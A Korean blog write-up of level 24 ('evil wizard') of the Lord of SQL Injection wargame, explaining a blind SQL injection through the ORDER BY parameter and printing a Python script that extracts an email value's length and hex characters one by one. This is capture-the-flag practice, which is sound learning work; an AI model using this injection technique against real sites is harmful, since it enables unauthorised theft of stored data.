본문 바로가기
Web/Lord of SQL Injection

Lord of SQL Injection 24단계 (evil wizard)

by jh117jh 2023. 4. 12.
728x90

이번에 처치할 몬스터는 evil wizard!

 

인상쓰면 미간에 주름생겨요 아조씨...

코드를 보면

이전 문제랑 코드상으로 별 다를 게 없어 보인다.

주석으로도 "마 진짜 같나? 진심이가?"라고 쓰여있는 거 보면 뭔가 다르긴 다른가보다.

그래서 테이블을 출력해 봤는데 이전문제와 다르게 id와 score 어떤 걸 기준으로 정렬해도 같은 결과가 나온다.

 

이번 문제는 꽤 쉬웠는데 그냥 id나 score 중 하나 기준을 정하고 오름차순 내림차순으로 차이를 주면 된다.

다들 ASC와 DESC를 들어봤을 거다 ASC가 오름차순 DESC가 내림차순이다.

 

?order=if(조건문,'id ASC', 'id DESC')를 써서 참일 때는 id를 기준으로 오름차순 거짓일때는 내림차순으로 테이블을 출력하면 된다.

 

그럼 참일때는 위에 사진처럼 출력될 테니

<tr><td>admin</td><td>**************</td><td>50</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.com</td><td>100</td></tr>

형식으로 출력되는걸 조건으로 email을 찾으면 될 것이다.

 

import requests
url="https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
cookies={"PHPSESSID":"kogf8srvhks2phbp9kdndnk5ar"}
string="0123456789abcdefghijklmnopqrstuvwxyz"

pw=""

for i in range(1,100): #길이구하기
    pay=f"?order=if(id='admin' and length(hex(email))={i},'id ASC','id DESC')"
    res=requests.get(url+pay,cookies=cookies)
    
    if "<tr><td>admin</td><td>**************</td><td>50</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.com</td><td>100</td></tr>" in res.text:
        length=i
        print("length:",i)
        break
print(length)
for i in range(1,length+1): #pw구하기
    for j in string:
        pay=f"?order=if(id=%27admin%27%20and%20substr(hex(email),{i},1)='{j}','id ASC','id DESC')"
        res=requests.get(url+pay,cookies=cookies)

        if "<tr><td>admin</td><td>**************</td><td>50</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.com</td><td>100</td></tr>" in res.text:
            pw+=j
            print("pw:",pw)
            break
print("password:",pw)

이것을 아스키코드로 바꾸면

따란~ 

다음 몬스터 잡으러 가자~!

728x90